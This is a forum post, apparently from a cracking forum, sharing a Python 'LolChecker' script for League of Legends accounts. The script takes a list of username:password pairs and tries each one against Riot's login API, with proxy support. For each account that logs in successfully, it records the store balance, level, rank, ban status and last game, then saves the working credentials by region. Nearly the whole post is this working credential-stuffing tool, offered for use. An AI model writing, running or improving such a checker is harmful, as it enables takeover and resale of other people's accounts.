#1
(This post was last modified: 01 June, 2022 - 09:50 PM by todainfo. Edited 1 time in total.)
checker lol python

[Image: DmRLRcX2]https://postimg.cc/DmRLRcX2

from datetime import datetime
from multiprocessing.pool import RUN
import requests, time, sys, os
import mysql
import mysql.connector
from ctypes import windll
from colorama import Fore, init

class variables:
    MAX=0
    ID=0
    ULT_REVISADA=""
    logo = """
################################################################
                   ##########################                  
                   ###     LolChecker     ###                  
                   ##########################                  
                   ##                      ##                  
                   ##       by :  Out      ##                  
                   ##                      ##                  
                   ##########################                  
                                                                                                                         
################################################################
"""

from time import sleep

#print(f"{cuentas_contadas} cuentas contadas")
#mensaje bienvenida emulador
#print(logo)
##print("Bienvenido a LolChecker by Out")
##print()
with open('escaneadas_lol_all.txt') as myfile:
    correctas = sum(1 for line in myfile if line.rstrip('\n'))
       
with open('cuentas_lol.txt') as myfile:
    contadas = sum(1 for line in myfile if line.rstrip('\n'))
       
init()
print(Fore.RED +"################################")
print(Fore.RED +"Iniciando LolChecker")
print(Fore.RED +"################################")
print()
windll.kernel32.SetConsoleTitleW(f"Lol Checker by Out [{contadas}] cargadas [{correctas}] correctas")
         


class Constants:
    AUTH_URL = "https://auth.riotgames.com/api/v1/authorization"
    INFO_URL = "https://auth.riotgames.com/userinfo"
    STORE_URL = "https://{store_front_id}.store.leagueoflegends.com/storefront/v3/view/misc?language=en_US"
    # HISTORY_URL = "https://{store_front_id}.store.leagueoflegends.com/storefront/v3/history/purchase"
    MATCHES_URL = "https://acs.leagueoflegends.com/v1/stats/player_history/auth?begIndex=0&endIndex=1"
   
    RANK_URL = "https://riot.iesdev.com/graphql?query=query%20LeagueProfile%28%24summoner_name%3AString%2C%24summoner_id%3AString%2C%24account_id%3AString%2C%24region%3ARegion%21%2C%24puuid%3AString%29%7BleagueProfile%28summoner_name%3A%24summoner_name%2Csummoner_id%3A%24summoner_id%2Caccount_id%3A%24account_id%2Cregion%3A%24region%2Cpuuid%3A%24puuid%29%7BaccountId%20latestRanks%7Bqueue%20tier%20rank%20leaguePoints%7D%7D%7D&variables=%7B%22summoner_name%22%3A%22{summoner_name}%22%2C%22region%22%3A%22{region_id}%22%7D"
   
    NEW_MATCHES_URL = "https://league-player.iesdev.com/graphql?query=query%20matches%28%0A%20%20%24region%3A%20Region%21%0A%20%20%24accountId%3A%20String%21%0A%20%20%24first%3A%20Int%0A%20%20%24role%3A%20Role%0A%20%20%24queue%3A%20Queue%0A%20%20%24championId%3A%20Int%0A%20%20%24riotSeasonId%3A%20Int%0A%20%20%24maxMatchAge%3A%20Int%0A%29%20%7B%0A%20%20matches%28%0A%20%20%20%20region%3A%20%24region%0A%20%20%20%20accountId%3A%20%24accountId%0A%20%20%20%20first%3A%20%24first%0A%20%20%20%20role%3A%20%24role%0A%20%20%20%20queue%3A%20%24queue%0A%20%20%20%20championId%3A%20%24championId%0A%20%20%20%20riotSeasonId%3A%20%24riotSeasonId%0A%20%20%20%20maxMatchAge%3A%20%24maxMatchAge%0A%20%20%29%20%7B%0A%20%20%20%20id%0A%20%20%20%20gameCreation%0A%20%20%7D%0A%7D&variables=%7B%22maxMatchAge%22%3A300%2C%22first%22%3A1%2C%22region%22%3A%22{region_id}%22%2C%22accountId%22%3A%22{account_id}%22%7D"
   
    VERSION_URL = "https://ddragon.leagueoflegends.com/api/versions.json"
    LOCACION1 = {
        "BR1": "lolriot.mia1.br1",
        "EUN1": "lolriot.euc1.eun1",
        "EUW1": "lolriot.ams1.euw1",
        "JP1": "lolriot.nrt1.jp1",
        "LA1": "lolriot.mia1.la1",
        "LA2": "lolriot.mia1.la2",
        "NA1": "lolriot.pdx2.na1",
        "OC1": "lolriot.pdx1.oc1",
        "RU": "lolriot.euc1.ru",
        "TR1": "lolriot.euc1.tr1",
    }
    LOCACION = {
        "BR1": "br",
        "EUN1": "eun",
        "EUW1": "euw",
        "JP1": "jp",
        "LA1": "la1",
        "LA2": "la2",
        "NA1": "na",
        "OC1": "oc",
        "RU": "ru",
        "TR1": "tr",
    }




class CuentaScan():
   
   
    def __init__(self, username, password, proxy={}):
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.proxies.update(proxy)
        tokens = self._authorize()
        self.access_token = tokens[1]
        self.id_token = tokens[3]
        sesion = {
            "Accept-Encoding": "deflate, gzip",
            "user-agent": "RiotClient/44.0.1.4223069.4190634 lol-inventory (Windows;10;;Professional, x64)",
            "Accept": "application/json",
            "Authorization": f"Bearer {self.access_token}",
        }
        self.session.headers.update(sesion)
        self.user_info = self._get_user_info()
        self.region_id = self.user_info["region"]["id"]
        self.region_tag = self.user_info["region"]["tag"]
        self.summoner_name = self.user_info["lol_account"]["summoner_name"]
        self.summoner_nivel = self.user_info["lol_account"]["summoner_level"]
        #self.summoner_phone = self.user_info["lol_account"]["phone_number_verified"]
        #self.purchase_history = self.get_purchase_history()
   
    def _authorize(self):
        headers = {
            "user-agent": "RiotClient/44.0.1.4223069.4190634 rso-auth (Windows;10;;Professional, x64)",
            "Accept": "application/json",
        }
        auth_data = {
            "client_id": "riot-client",
            "nonce": "1",
            "redirect_uri": "http://localhost/redirect",
            "response_type": "token id_token",
            "scope": "openid offline_access lol ban profile email phone",
        }
        login_data = {
            "language": "en_US",
            "password": self.password,
            "remember": "true",
            "type": "auth",
            "username": self.username,
        }
        self.session.post(url=Constants.AUTH_URL, headers=headers, json=auth_data)
        response = self.session.put(
            url=Constants.AUTH_URL, headers=headers, json=login_data
        ).json()
        # print (response, '-=-=-')
        # uri format
        # "http://local/redirect#access_token=...
        # &scope=...&id_token=...&token_type=
        # &expires_in=...
        try:
            uri = response["response"]["parameters"]["uri"]
        except:
           
           
            #print(f"Response: {response}")
            raise
        tokens = [x.split("&")[0] for x in uri.split("=")]
        return tokens
    def _get_user_info(self):
        return self.session.post(url=Constants.INFO_URL).json()
    def get_balance(self):
        response = self.session.get(
            Constants.STORE_URL.format(
                store_front_id=Constants.LOCACION[self.region_id]
            )
        ).json()
        return response["player"]
   # def get_purchase_history(self):
       #  response = self.session.get(
          #   Constants.HISTORY_URL.format(
               #  store_front_id=Constants.LOCACION[self.region_id]
            # )
         #).json()
        # return response
    def last_play(self):
        response = self.session.get(
            Constants.NEW_MATCHES_URL.format(
                region_id=self.region_id, account_id=self.account_id
            )
        ).json()
        try:
            recent_match_date = list(response["data"]["matches"])
        except:
            #print(f"No se pudo obtener la coincidencia reciente de {self.username}")
            #print(f"Response: {response}")
            return "Desconocido"
        if len(recent_match_date) > 0:
            return datetime.strptime(
                recent_match_date[0]["gameCreation"], "%Y-%m-%dT%H:%M:%S.%fZ"
            )
        return "Desconocido"
    def get_rank(self):
        response = requests.get(
            Constants.RANK_URL.format(
                region_id=self.region_id, summoner_name=self.summoner_name
            )
        ).json()
        try:
            rank = response["data"]["leagueProfile"]["latestRanks"]
            self.account_id = response["data"]["leagueProfile"]["accountId"]
        except:
            #print(f"No se pudo obtener el rango de {self.username}")
            #print(f"Response: {response}")
            return "Unranked"
        if rank:
            for queue in rank:
                if queue["queue"] == "RANKED_SOLO_5X5":
                    return f'{queue["tier"]} {queue["rank"]} {queue["leaguePoints"]} LP'
        return "Unranked"
   
    def get_ban(self):
        try:
            if int(time.time() * 1000) < int(self.user_info["ban"]["exp"]):
                return f"True ({self.user_info['ban']['code']})"
            return "False"
        except:
            return "False"
    def get_nivel(self):
        return self.summoner_nivel
    #def get_phone(self):
     #   return self.summoner_phone
   
   



    #print(f"Duracion {time2-time1:.2f} s")
   
   
    #CARPETA_GUARDADO2 = r"escaneadas/"
def borrarLineaEscaneada():
    l1 = []
    with open("cuentas_lol.txt", 'r') as fp:
      l1 = fp.readlines()
    with open("cuentas_lol.txt", 'w') as fp:
        for number, line in enumerate(l1):
            if number not in [0]:
                fp.write(line)  
def escan():
    #if not os.path.exists(CARPETA_GUARDADO):
        # os.makedirs(os.path.dirname(CARPETA_GUARDADO))
    with open("cuentas_lol.txt", "r+") as input:
        accounts = input.readlines()
    for i, account in enumerate(accounts):
        try:
            credentials = account.replace('\n', '').split(":")
        #permiteScan=0
            #cuentas = entrada.readlines()
            #for i, cuenta in enumerate(cuentas):
             ##maximo de intentos
       
       # myCuenta = row[0]
       # myPass = row[1]
       

            if(credentials[0]==""):
                print("linea no reconocida")
                print()
                borrarLineaEscaneada()
                time.sleep(1)
                escan()
            #permiteScan+=1
           
            if(credentials[1]==""):
                print("linea no reconocida")
                print()
                borrarLineaEscaneada()
                time.sleep(1)
                escan()
            #permiteScan+=1
           
         ##menor de 5 acc incorrecta auto
            if(len(credentials[0])<5):
                print("evitando posible cuenta incorrecta")
                print()
                borrarLineaEscaneada()
                time.sleep(1)
                escan()
            #permiteScan+=1
           
            if(len(credentials[1])<5):
           
                print("evitando posible cuenta incorrecta")
                print()
                borrarLineaEscaneada()
                time.sleep(1)
                escan()
           # permiteScan+=1
           
            if(variables.ULT_REVISADA==credentials[0]):
                print("evitando cuenta repetida")
                print()
                borrarLineaEscaneada()
                time.sleep(1)
                escan()
            #permiteScan+=1
           
           
            #print("pasaaa")
            #if(permiteScan==0):    
            if (variables.ID >19):
               
                print(Fore.BLUE +"Exit CheckerLol")
                os._exit(1)
            cuenta_existente = CuentaScan(credentials[0], credentials[1])

            if(cuenta_existente!=None):
                #constantes.ENCONTRADA+=1
                #constantes.ESCANEADAS+=1
                variables.ID+=1
               
           
                print(Fore.GREEN +f"@@cuenta capturada | {credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()} | @@ [{variables.ID}]")
                print()
                variables.MAX+=1
                balance = cuenta_existente.get_balance()
                rp_curr = balance["rp"]
                ip_curr = balance["ip"]
               
               
                #ULT_REVISADA=credentials[0]
               # windll.kernel32.SetConsoleTitleW(f" Revisadas: {constantes.ESCANEADAS} -  Correctas: {constantes.ENCONTRADA} - Erroneas: {constantes.ERRONEAS} ")
                if(cuenta_existente.region_tag.upper()=="LAS"):
                    with open("escaneadas_lol_las.txt","a") as escribir_cuenta:
                        escribir_cuenta.write(f"{credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()}:{rp_curr}:{ip_curr}:{cuenta_existente.get_nivel()}:{cuenta_existente.get_rank()}:{cuenta_existente.get_ban()}:{cuenta_existente.last_play()}\n")
                #borrarTabla(cursor,myCuenta,myPass)
                    borrarLineaEscaneada()
                    #sleep(1)
                if(cuenta_existente.region_tag.upper()=="LAN"):
                    with open("escaneadas_lol_lan.txt","a") as escribir_cuenta:
                        escribir_cuenta.write(f"{credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()}:{rp_curr}:{ip_curr}:{cuenta_existente.get_nivel()}:{cuenta_existente.get_rank()}:{cuenta_existente.get_ban()}:{cuenta_existente.last_play()}\n")
                #borrarTabla(cursor,myCuenta,myPass)
                    borrarLineaEscaneada()
                    #sleep(1)
                if(cuenta_existente.region_tag.upper()=="NA"):
                    with open("escaneadas_lol_na.txt","a") as escribir_cuenta:
                        escribir_cuenta.write(f"{credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()}:{rp_curr}:{ip_curr}:{cuenta_existente.get_nivel()}:{cuenta_existente.get_rank()}:{cuenta_existente.get_ban()}:{cuenta_existente.last_play()}\n")
                #borrarTabla(cursor,myCuenta,myPass)
                    borrarLineaEscaneada()
                    #sleep(1)
                if(cuenta_existente.region_tag.upper()=="EUW"):
                    with open("escaneadas_lol_euw.txt","a") as escribir_cuenta:
                        escribir_cuenta.write(f"{credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()}:{rp_curr}:{ip_curr}:{cuenta_existente.get_nivel()}:{cuenta_existente.get_rank()}:{cuenta_existente.get_ban()}:{cuenta_existente.last_play()}\n")
                #borrarTabla(cursor,myCuenta,myPass)
                    borrarLineaEscaneada()
                    #sleep(1)
                if(cuenta_existente.region_tag.upper()=="EUNE"):
                    with open("escaneadas_lol_eune.txt","a") as escribir_cuenta:
                        escribir_cuenta.write(f"{credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()}:{rp_curr}:{ip_curr}:{cuenta_existente.get_nivel()}:{cuenta_existente.get_rank()}:{cuenta_existente.get_ban()}:{cuenta_existente.last_play()}\n")
                #borrarTabla(cursor,myCuenta,myPass)
                    borrarLineaEscaneada()
                    #sleep(1)
                if(cuenta_existente.region_tag.upper()=="BR"):
                    with open("escaneadas_lol_br.txt","a") as escribir_cuenta:
                        escribir_cuenta.write(f"{credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()}:{rp_curr}:{ip_curr}:{cuenta_existente.get_nivel()}:{cuenta_existente.get_rank()}:{cuenta_existente.get_ban()}:{cuenta_existente.last_play()}\n")
                #borrarTabla(cursor,myCuenta,myPass)
                    borrarLineaEscaneada()
                    #sleep(1)
                if(cuenta_existente.region_tag.upper()=="TR"):
                    with open("escaneadas_lol_tr.txt","a") as escribir_cuenta:
                        escribir_cuenta.write(f"{credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()}:{rp_curr}:{ip_curr}:{cuenta_existente.get_nivel()}:{cuenta_existente.get_rank()}:{cuenta_existente.get_ban()}:{cuenta_existente.last_play()}\n")
                #borrarTabla(cursor,myCuenta,myPass)
                    borrarLineaEscaneada()
                    #sleep(1)
                if(cuenta_existente.region_tag.upper()=="JP"):
                    with open("escaneadas_lol_jp.txt","a") as escribir_cuenta:
                        escribir_cuenta.write(f"{credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()}:{rp_curr}:{ip_curr}:{cuenta_existente.get_nivel()}:{cuenta_existente.get_rank()}:{cuenta_existente.get_ban()}:{cuenta_existente.last_play()}\n")
                #borrarTabla(cursor,myCuenta,myPass)
                    borrarLineaEscaneada()
                    #sleep(1)
                with open("escaneadas_lol_all.txt","a") as escribir_cuenta:
                    escribir_cuenta.write(f"{credentials[0]}:{credentials[1]}:{cuenta_existente.region_tag.upper()}:{rp_curr}:{ip_curr}:{cuenta_existente.get_nivel()}:{cuenta_existente.get_rank()}:{cuenta_existente.get_ban()}:{cuenta_existente.last_play()}\n")
               

               
               
               
                   
           
                   
        except:
            variables.ID+=1
           
       
            variables.ULT_REVISADA=credentials[0]
            print(Fore.RED +f"Cuenta {credentials[0]} incorrecta [{variables.ID}]")
            print()
            variables.MAX+=1
            #borrarTabla(cursor,myCuenta,myPass)
            borrarLineaEscaneada()
            #sleep(1)
           
           
            #constantes.ESCANEADAS+=1
            #constantes.ERRONEAS+=1
            #windll.kernel32.SetConsoleTitleW(f" Revisadas: {constantes.ESCANEADAS} -  Correctas: {constantes.ENCONTRADA} - Erroneas: {constantes.ERRONEAS} ")
       # if(permiteScan == 0):
           
           
           
        #print(traceback.format_exc())
   
   
   
   
escan()